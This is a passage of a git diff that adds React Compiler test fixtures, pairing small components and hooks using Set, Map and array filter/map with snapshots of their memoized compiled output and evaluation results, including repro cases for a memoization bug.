+    { el1: 2, el2: "foo" },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) 2
+2
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/map-constructor.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/map-constructor.ts
new file mode 100644
index 000000000000..2a0fb6d23907
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/map-constructor.ts
@@ -0,0 +1,17 @@
+import {makeArray} from 'shared-runtime';
+
+function useHook({el1, el2}) {
+  const s = new Map();
+  s.set(el1, makeArray(el1));
+  s.set(el2, makeArray(el2));
+  return s.size;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useHook,
+  params: [{el1: 1, el2: 'foo'}],
+  sequentialRenders: [
+    {el1: 1, el2: 'foo'},
+    {el1: 2, el2: 'foo'},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-filter-capture-mutate-bug.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-filter-capture-mutate-bug.expect.md
new file mode 100644
index 000000000000..091d050e6400
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-filter-capture-mutate-bug.expect.md
@@ -0,0 +1,113 @@
+
+## Input
+
+```javascript
+import {mutateAndReturn, Stringify, useIdentity} from 'shared-runtime';
+
+/**
+ * Repro for bug with `mutableOnlyIfOperandsAreMutable` flag
+ * Found differences in evaluator results
+  * Non-forget (expected):
+  * (kind: ok)
+  * <div>{"children":[{"value":"foo","wat0":"joe"},{"value":5,"wat0":"joe"}]}</div>
+  * <div>{"children":[{"value":"foo","wat0":"joe"},{"value":6,"wat0":"joe"}]}</div>
+  * <div>{"children":[{"value":"foo","wat0":"joe"},{"value":6,"wat0":"joe"}]}</div>
+  * Forget:
+  * (kind: ok)
+  * <div>{"children":[{"value":"foo","wat0":"joe"},{"value":5,"wat0":"joe"}]}</div>
+  * <div>{"children":[{"value":"foo","wat0":"joe","wat1":"joe"},{"value":6,"wat0":"joe"}]}</div>
+  * <div>{"children":[{"value":"foo","wat0":"joe","wat1":"joe"},{"value":6,"wat0":"joe"}]}</div>
+
+ */
+function Component({value}) {
+  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];
+  useIdentity(null);
+  const derived = arr.filter(mutateAndReturn);
+  return (
+    <Stringify>
+      {derived.at(0)}
+      {derived.at(-1)}
+    </Stringify>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 5}],
+  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { mutateAndReturn, Stringify, useIdentity } from "shared-runtime";
+
+/**
+ * Repro for bug with `mutableOnlyIfOperandsAreMutable` flag
+ * Found differences in evaluator results
+  * Non-forget (expected):
+  * (kind: ok)
+  * <div>{"children":[{"value":"foo","wat0":"joe"},{"value":5,"wat0":"joe"}]}</div>
+  * <div>{"children":[{"value":"foo","wat0":"joe"},{"value":6,"wat0":"joe"}]}</div>
+  * <div>{"children":[{"value":"foo","wat0":"joe"},{"value":6,"wat0":"joe"}]}</div>
+  * Forget:
+  * (kind: ok)
+  * <div>{"children":[{"value":"foo","wat0":"joe"},{"value":5,"wat0":"joe"}]}</div>
+  * <div>{"children":[{"value":"foo","wat0":"joe","wat1":"joe"},{"value":6,"wat0":"joe"}]}</div>
+  * <div>{"children":[{"value":"foo","wat0":"joe","wat1":"joe"},{"value":6,"wat0":"joe"}]}</div>
+
+ */
+function Component(t0) {
+  const $ = _c(7);
+  const { value } = t0;
+  const arr = [{ value: "foo" }, { value: "bar" }, { value }];
+  useIdentity(null);
+  const derived = arr.filter(mutateAndReturn);
+  let t1;
+  if ($[0] !== derived) {
+    t1 = derived.at(0);
+    $[0] = derived;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  let t2;
+  if ($[2] !== derived) {
+    t2 = derived.at(-1);
+    $[2] = derived;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  let t3;
+  if ($[4] !== t1 || $[5] !== t2) {
+    t3 = (
+      <Stringify>
+        {t1}
+        {t2}
+      </Stringify>
+    );
+    $[4] = t1;
+    $[5] = t2;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  return t3;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ value: 5 }],
+  sequentialRenders: [{ value: 5 }, { value: 6 }, { value: 6 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"children":[{"value":"foo","wat0":"joe"},{"value":5,"wat0":"joe"}]}</div>
+<div>{"children":[{"value":"foo","wat0":"joe"},{"value":6,"wat0":"joe"}]}</div>
+<div>{"children":[{"value":"foo","wat0":"joe"},{"value":6,"wat0":"joe"}]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-filter-capture-mutate-bug.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-filter-capture-mutate-bug.tsx
new file mode 100644
index 000000000000..33e418a5fda7
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-filter-capture-mutate-bug.tsx
@@ -0,0 +1,34 @@
+import {mutateAndReturn, Stringify, useIdentity} from 'shared-runtime';
+
+/**
+ * Repro for bug with `mutableOnlyIfOperandsAreMutable` flag
+ * Found differences in evaluator results
+  * Non-forget (expected):
+  * (kind: ok)
+  * <div>{"children":[{"value":"foo","wat0":"joe"},{"value":5,"wat0":"joe"}]}</div>
+  * <div>{"children":[{"value":"foo","wat0":"joe"},{"value":6,"wat0":"joe"}]}</div>
+  * <div>{"children":[{"value":"foo","wat0":"joe"},{"value":6,"wat0":"joe"}]}</div>
+  * Forget:
+  * (kind: ok)
+  * <div>{"children":[{"value":"foo","wat0":"joe"},{"value":5,"wat0":"joe"}]}</div>
+  * <div>{"children":[{"value":"foo","wat0":"joe","wat1":"joe"},{"value":6,"wat0":"joe"}]}</div>
+  * <div>{"children":[{"value":"foo","wat0":"joe","wat1":"joe"},{"value":6,"wat0":"joe"}]}</div>
+
+ */
+function Component({value}) {
+  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];
+  useIdentity(null);
+  const derived = arr.filter(mutateAndReturn);
+  return (
+    <Stringify>
+      {derived.at(0)}
+      {derived.at(-1)}
+    </Stringify>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 5}],
+  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-filter-known-nonmutate-Boolean.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-filter-known-nonmutate-Boolean.expect.md
new file mode 100644
index 000000000000..0812e46c55be
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-filter-known-nonmutate-Boolean.expect.md
@@ -0,0 +1,118 @@
+
+## Input
+
+```javascript
+import {Stringify, useIdentity} from 'shared-runtime';
+
+/**
+ * Also see repro-array-map-known-mutate-shape, which calls a global function
+ * that mutates its operands.
+ */
+function Component({value}) {
+  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];
+  useIdentity(null);
+  const derived = arr.filter(Boolean);
+  return (
+    <Stringify>
+      {derived.at(0)}
+      {derived.at(-1)}
+    </Stringify>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 5}],
+  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { Stringify, useIdentity } from "shared-runtime";
+
+/**
+ * Also see repro-array-map-known-mutate-shape, which calls a global function
+ * that mutates its operands.
+ */
+function Component(t0) {
+  const $ = _c(13);
+  const { value } = t0;
+  let t1;
+  let t2;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = { value: "foo" };
+    t2 = { value: "bar" };
+    $[0] = t1;
+    $[1] = t2;
+  } else {
+    t1 = $[0];
+    t2 = $[1];
+  }
+  let t3;
+  if ($[2] !== value) {
+    t3 = [t1, t2, { value }];
+    $[2] = value;
+    $[3] = t3;
+  } else {
+    t3 = $[3];
+  }
+  const arr = t3;
+  useIdentity(null);
+  let t4;
+  if ($[4] !== arr) {
+    t4 = arr.filter(Boolean);
+    $[4] = arr;
+    $[5] = t4;
+  } else {
+    t4 = $[5];
+  }
+  const derived = t4;
+  let t5;
+  if ($[6] !== derived) {
+    t5 = derived.at(0);
+    $[6] = derived;
+    $[7] = t5;
+  } else {
+    t5 = $[7];
+  }
+  let t6;
+  if ($[8] !== derived) {
+    t6 = derived.at(-1);
+    $[8] = derived;
+    $[9] = t6;
+  } else {
+    t6 = $[9];
+  }
+  let t7;
+  if ($[10] !== t5 || $[11] !== t6) {
+    t7 = (
+      <Stringify>
+        {t5}
+        {t6}
+      </Stringify>
+    );
+    $[10] = t5;
+    $[11] = t6;
+    $[12] = t7;
+  } else {
+    t7 = $[12];
+  }
+  return t7;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ value: 5 }],
+  sequentialRenders: [{ value: 5 }, { value: 6 }, { value: 6 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"children":[{"value":"foo"},{"value":5}]}</div>
+<div>{"children":[{"value":"foo"},{"value":6}]}</div>
+<div>{"children":[{"value":"foo"},{"value":6}]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-filter-known-nonmutate-Boolean.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-filter-known-nonmutate-Boolean.tsx
new file mode 100644
index 000000000000..cd676d9b9075
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-filter-known-nonmutate-Boolean.tsx
@@ -0,0 +1,23 @@
+import {Stringify, useIdentity} from 'shared-runtime';
+
+/**
+ * Also see repro-array-map-known-mutate-shape, which calls a global function
+ * that mutates its operands.
+ */
+function Component({value}) {
+  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];
+  useIdentity(null);
+  const derived = arr.filter(Boolean);
+  return (
+    <Stringify>
+      {derived.at(0)}
+      {derived.at(-1)}
+    </Stringify>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 5}],
+  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-map-capture-mutate-bug.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-map-capture-mutate-bug.expect.md
new file mode 100644
index 000000000000..b6bd4709ca6b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-map-capture-mutate-bug.expect.md
@@ -0,0 +1,91 @@
+
+## Input
+
+```javascript
+import {mutateAndReturn, Stringify, useIdentity} from 'shared-runtime';
+
+/**
+ * Copy of repro-array-map-capture-mutate-bug, showing that the same issue applies to any
+ * function call which captures its callee when applying an operand.
+ */
+function Component({value}) {
+  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];
+  useIdentity(null);
+  const derived = arr.map(mutateAndReturn);
+  return (
+    <Stringify>
+      {derived.at(0)}
+      {derived.at(-1)}
+    </Stringify>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 5}],
+  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { mutateAndReturn, Stringify, useIdentity } from "shared-runtime";
+
+/**
+ * Copy of repro-array-map-capture-mutate-bug, showing that the same issue applies to any
+ * function call which captures its callee when applying an operand.
+ */
+function Component(t0) {
+  const $ = _c(7);
+  const { value } = t0;
+  const arr = [{ value: "foo" }, { value: "bar" }, { value }];
+  useIdentity(null);
+  const derived = arr.map(mutateAndReturn);
+  let t1;
+  if ($[0] !== derived) {
+    t1 = derived.at(0);
+    $[0] = derived;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  let t2;
+  if ($[2] !== derived) {
+    t2 = derived.at(-1);
+    $[2] = derived;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  let t3;
+  if ($[4] !== t1 || $[5] !== t2) {
+    t3 = (
+      <Stringify>
+        {t1}
+        {t2}
+      </Stringify>
+    );
+    $[4] = t1;
+    $[5] = t2;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  return t3;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ value: 5 }],
+  sequentialRenders: [{ value: 5 }, { value: 6 }, { value: 6 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"children":[{"value":"foo","wat0":"joe"},{"value":5,"wat0":"joe"}]}</div>
+<div>{"children":[{"value":"foo","wat0":"joe"},{"value":6,"wat0":"joe"}]}</div>
+<div>{"children":[{"value":"foo","wat0":"joe"},{"value":6,"wat0":"joe"}]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-map-capture-mutate-bug.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-map-capture-mutate-bug.tsx
new file mode 100644
index 000000000000..bda94b92c837
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-map-capture-mutate-bug.tsx
@@ -0,0 +1,23 @@
+import {mutateAndReturn, Stringify, useIdentity} from 'shared-runtime';
+
+/**
+ * Copy of repro-array-map-capture-mutate-bug, showing that the same issue applies to any
+ * function call which captures its callee when applying an operand.
+ */
+function Component({value}) {
+  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];
+  useIdentity(null);
+  const derived = arr.map(mutateAndReturn);
+  return (
+    <Stringify>
+      {derived.at(0)}
+      {derived.at(-1)}
+    </Stringify>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 5}],
+  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-map-known-mutate-shape.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-map-known-mutate-shape.expect.md
new file mode 100644
index 000000000000..27735532326f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-map-known-mutate-shape.expect.md
@@ -0,0 +1,100 @@
+
+## Input
+
+```javascript
+import {Stringify, useIdentity} from 'shared-runtime';
+
+/**
+ * Also see repro-array-map-known-nonmutate-Boolean, which calls a global
+ * function that does *not* mutate its operands.
+ */
+function Component({value}) {
+  const arr = [
+    new Set([['foo', 2]]).values(),
+    new Set([['bar', 4]]).values(),
+    [['baz', value]],
+  ];
+  useIdentity(null);
+  const derived = arr.map(Object.fromEntries);
+  return (
+    <Stringify>
+      {derived.at(0)}
+      {derived.at(-1)}
+    </Stringify>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 5}],
+  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { Stringify, useIdentity } from "shared-runtime";
+
+/**
+ * Also see repro-array-map-known-nonmutate-Boolean, which calls a global
+ * function that does *not* mutate its operands.
+ */
+function Component(t0) {
+  const $ = _c(7);
+  const { value } = t0;
+  const arr = [
+    new Set([["foo", 2]]).values(),
+    new Set([["bar", 4]]).values(),
+    [["baz", value]],
+  ];
+
+  useIdentity(null);
+  const derived = arr.map(Object.fromEntries);
+  let t1;
+  if ($[0] !== derived) {
+    t1 = derived.at(0);
+    $[0] = derived;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  let t2;
+  if ($[2] !== derived) {
+    t2 = derived.at(-1);
+    $[2] = derived;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  let t3;
+  if ($[4] !== t1 || $[5] !== t2) {
+    t3 = (
+      <Stringify>
+        {t1}
+        {t2}
+      </Stringify>
+    );
+    $[4] = t1;
+    $[5] = t2;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  return t3;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ value: 5 }],
+  sequentialRenders: [{ value: 5 }, { value: 6 }, { value: 6 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"children":[{"foo":2},{"baz":5}]}</div>
+<div>{"children":[{"foo":2},{"baz":6}]}</div>
+<div>{"children":[{"foo":2},{"baz":6}]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-map-known-mutate-shape.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-map-known-mutate-shape.tsx
new file mode 100644
index 000000000000..191d0e0d3360
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/repro-array-map-known-mutate-shape.tsx
@@ -0,0 +1,27 @@
+import {Stringify, useIdentity} from 'shared-runtime';
+
+/**
+ * Also see repro-array-map-known-nonmutate-Boolean, which calls a global
+ * function that does *not* mutate its operands.
+ */
+function Component({value}) {
+  const arr = [
+    new Set([['foo', 2]]).values(),
+    new Set([['bar', 4]]).values(),
+    [['baz', value]],
+  ];
+  useIdentity(null);
+  const derived = arr.map(Object.fromEntries);
+  return (
+    <Stringify>
+      {derived.at(0)}
+      {derived.at(-1)}
+    </Stringify>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 5}],
+  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-add-mutate.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-add-mutate.expect.md
new file mode 100644
index 000000000000..cb829ffea217
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-add-mutate.expect.md
@@ -0,0 +1,76 @@
+
+## Input
+
+```javascript
+import {makeArray} from 'shared-runtime';
+
+function useHook({el1, el2}) {
+  const s = new Set();
+  const arr = makeArray(el1);
+  s.add(arr);
+  // Mutate after store
+  arr.push(el2);
+
+  s.add(makeArray(el2));
+  return s.size;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useHook,
+  params: [{el1: 1, el2: 'foo'}],
+  sequentialRenders: [
+    {el1: 1, el2: 'foo'},
+    {el1: 2, el2: 'foo'},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { makeArray } from "shared-runtime";
+
+function useHook(t0) {
+  const $ = _c(5);
+  const { el1, el2 } = t0;
+  let s;
+  if ($[0] !== el1 || $[1] !== el2) {
+    s = new Set();
+    const arr = makeArray(el1);
+    s.add(arr);
+
+    arr.push(el2);
+    let t1;
+    if ($[3] !== el2) {
+      t1 = makeArray(el2);
+      $[3] = el2;
+      $[4] = t1;
+    } else {
+      t1 = $[4];
+    }
+    s.add(t1);
+    $[0] = el1;
+    $[1] = el2;
+    $[2] = s;
+  } else {
+    s = $[2];
+  }
+  return s.size;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useHook,
+  params: [{ el1: 1, el2: "foo" }],
+  sequentialRenders: [
+    { el1: 1, el2: "foo" },
+    { el1: 2, el2: "foo" },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) 2
+2
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-add-mutate.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-add-mutate.ts
new file mode 100644
index 000000000000..fe49ba813b0c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-add-mutate.ts
@@ -0,0 +1,21 @@
+import {makeArray} from 'shared-runtime';
+
+function useHook({el1, el2}) {
+  const s = new Set();
+  const arr = makeArray(el1);
+  s.add(arr);
+  // Mutate after store
+  arr.push(el2);
+
+  s.add(makeArray(el2));
+  return s.size;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useHook,
+  params: [{el1: 1, el2: 'foo'}],
+  sequentialRenders: [
+    {el1: 1, el2: 'foo'},
+    {el1: 2, el2: 'foo'},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-constructor-arg.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-constructor-arg.expect.md
new file mode 100644
index 000000000000..245d11243a97
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-constructor-arg.expect.md
@@ -0,0 +1,107 @@
+
+## Input
+
+```javascript
+const MODULE_LOCAL = new Set([4, 5, 6]);
+function useFoo({propArr}: {propArr: Array<number>}) {
+  /* Array can be memoized separately of the Set */
+  const s1 = new Set([1, 2, 3]);
+  s1.add(propArr[0]);
+
+  /* but `.values` cannot be memoized separately */
+  const s2 = new Set(MODULE_LOCAL.values());
+  s2.add(propArr[1]);
+
+  const s3 = new Set(s2.values());
+  s3.add(propArr[2]);
+
+  /**
+   * s4 should be memoized separately from s3
+   */
+  const s4 = new Set(s3);
+  s4.add(propArr[3]);
+  return [s1, s2, s3, s4];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{propArr: [7, 8, 9]}],
+  sequentialRenders: [{propArr: [7, 8, 9]}, {propArr: [7, 8, 10]}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+const MODULE_LOCAL = new Set([4, 5, 6]);
+function useFoo(t0) {
+  const $ = _c(15);
+  const { propArr } = t0;
+  let t1;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = [1, 2, 3];
+    $[0] = t1;
+  } else {
+    t1 = $[0];
+  }
+  let s1;
+  if ($[1] !== propArr[0]) {
+    s1 = new Set(t1);
+    s1.add(propArr[0]);
+    $[1] = propArr[0];
+    $[2] = s1;
+  } else {
+    s1 = $[2];
+  }
+  let s2;
+  let s3;
+  if ($[3] !== propArr[1] || $[4] !== propArr[2]) {
+    s2 = new Set(MODULE_LOCAL.values());
+    s2.add(propArr[1]);
+    s3 = new Set(s2.values());
+    s3.add(propArr[2]);
+    $[3] = propArr[1];
+    $[4] = propArr[2];
+    $[5] = s2;
+    $[6] = s3;
+  } else {
+    s2 = $[5];
+    s3 = $[6];
+  }
+  let s4;
+  if ($[7] !== propArr[3] || $[8] !== s3) {
+    s4 = new Set(s3);
+    s4.add(propArr[3]);
+    $[7] = propArr[3];
+    $[8] = s3;
+    $[9] = s4;
+  } else {
+    s4 = $[9];
+  }
+  let t2;
+  if ($[10] !== s1 || $[11] !== s2 || $[12] !== s3 || $[13] !== s4) {
+    t2 = [s1, s2, s3, s4];
+    $[10] = s1;
+    $[11] = s2;
+    $[12] = s3;
+    $[13] = s4;
+    $[14] = t2;
+  } else {
+    t2 = $[14];
+  }
+  return t2;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ propArr: [7, 8, 9] }],
+  sequentialRenders: [{ propArr: [7, 8, 9] }, { propArr: [7, 8, 10] }],
+};
+
+```
+      
+### Eval output
+(kind: ok) [{"kind":"Set","value":[1,2,3,7]},{"kind":"Set","value":[4,5,6,8]},{"kind":"Set","value":[4,5,6,8,9]},{"kind":"Set","value":[4,5,6,8,9,null]}]
+[{"kind":"Set","value":[1,2,3,7]},{"kind":"Set","value":[4,5,6,8]},{"kind":"Set","value":[4,5,6,8,10]},{"kind":"Set","value":[4,5,6,8,10,null]}]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-constructor-arg.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-constructor-arg.ts
new file mode 100644
index 000000000000..04508ac1753d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-constructor-arg.ts
@@ -0,0 +1,26 @@
+const MODULE_LOCAL = new Set([4, 5, 6]);
+function useFoo({propArr}: {propArr: Array<number>}) {
+  /* Array can be memoized separately of the Set */
+  const s1 = new Set([1, 2, 3]);
+  s1.add(propArr[0]);
+
+  /* but `.values` cannot be memoized separately */
+  const s2 = new Set(MODULE_LOCAL.values());
+  s2.add(propArr[1]);
+
+  const s3 = new Set(s2.values());
+  s3.add(propArr[2]);
+
+  /**
+   * s4 should be memoized separately from s3
+   */
+  const s4 = new Set(s3);
+  s4.add(propArr[3]);
+  return [s1, s2, s3, s4];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{propArr: [7, 8, 9]}],
+  sequentialRenders: [{propArr: [7, 8, 9]}, {propArr: [7, 8, 10]}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-constructor.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-constructor.expect.md
new file mode 100644
index 000000000000..371e98089f5a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-constructor.expect.md
@@ -0,0 +1,77 @@
+
+## Input
+
+```javascript
+import {makeArray} from 'shared-runtime';
+
+function useHook({el1, el2}) {
+  const s = new Set();
+  s.add(makeArray(el1));
+  s.add(makeArray(el2));
+  return s.size;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useHook,
+  params: [{el1: 1, el2: 'foo'}],
+  sequentialRenders: [
+    {el1: 1, el2: 'foo'},
+    {el1: 2, el2: 'foo'},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { makeArray } from "shared-runtime";
+
+function useHook(t0) {
+  const $ = _c(7);
+  const { el1, el2 } = t0;
+  let s;
+  if ($[0] !== el1 || $[1] !== el2) {
+    s = new Set();
+    let t1;
+    if ($[3] !== el1) {
+      t1 = makeArray(el1);
+      $[3] = el1;
+      $[4] = t1;
+    } else {
+      t1 = $[4];
+    }
+    s.add(t1);
+    let t2;
+    if ($[5] !== el2) {
+      t2 = makeArray(el2);
+      $[5] = el2;
+      $[6] = t2;
+    } else {
+      t2 = $[6];
+    }
+    s.add(t2);
+    $[0] = el1;
+    $[1] = el2;
+    $[2] = s;
+  } else {
+    s = $[2];
+  }
+  return s.size;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useHook,
+  params: [{ el1: 1, el2: "foo" }],
+  sequentialRenders: [
+    { el1: 1, el2: "foo" },
+    { el1: 2, el2: "foo" },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) 2
+2
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-constructor.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-constructor.ts
new file mode 100644
index 000000000000..049e411d53ee
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-constructor.ts
@@ -0,0 +1,17 @@
+import {makeArray} from 'shared-runtime';
+
+function useHook({el1, el2}) {
+  const s = new Set();
+  s.add(makeArray(el1));
+  s.add(makeArray(el2));
+  return s.size;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useHook,
+  params: [{el1: 1, el2: 'foo'}],
+  sequentialRenders: [
+    {el1: 1, el2: 'foo'},
+    {el1: 2, el2: 'foo'},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-copy-constructor-mutate.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-copy-constructor-mutate.expect.md
new file mode 100644
index 000000000000..78bac9ae4f53
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/global-types/set-copy-constructor-mutate.expect.md
@@ -0,0 +1,81 @@
+
+## Input
+
+```javascript
+import {makeArray, mutate} from 'shared-runtime';
+
+function useFoo({propArr}: {propArr: Array<number>}) {
+  const s1 = new Set<number | Array<number>>([1, 2, 3]);
+  s1.add(makeArray(propArr[0]));
+
+  const s2 = new Set(s1);
+  // this may also may mutate s1
+  mutate(s2);
+
+  return [s1, s2];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{propArr: [7, 8, 9]}],
+  sequentialRenders: [
+    {propArr: [7, 8, 9]},
+    {propArr: [7, 8, 9]},
+    {propArr: [7, 8, 10]},
+  ],
+};
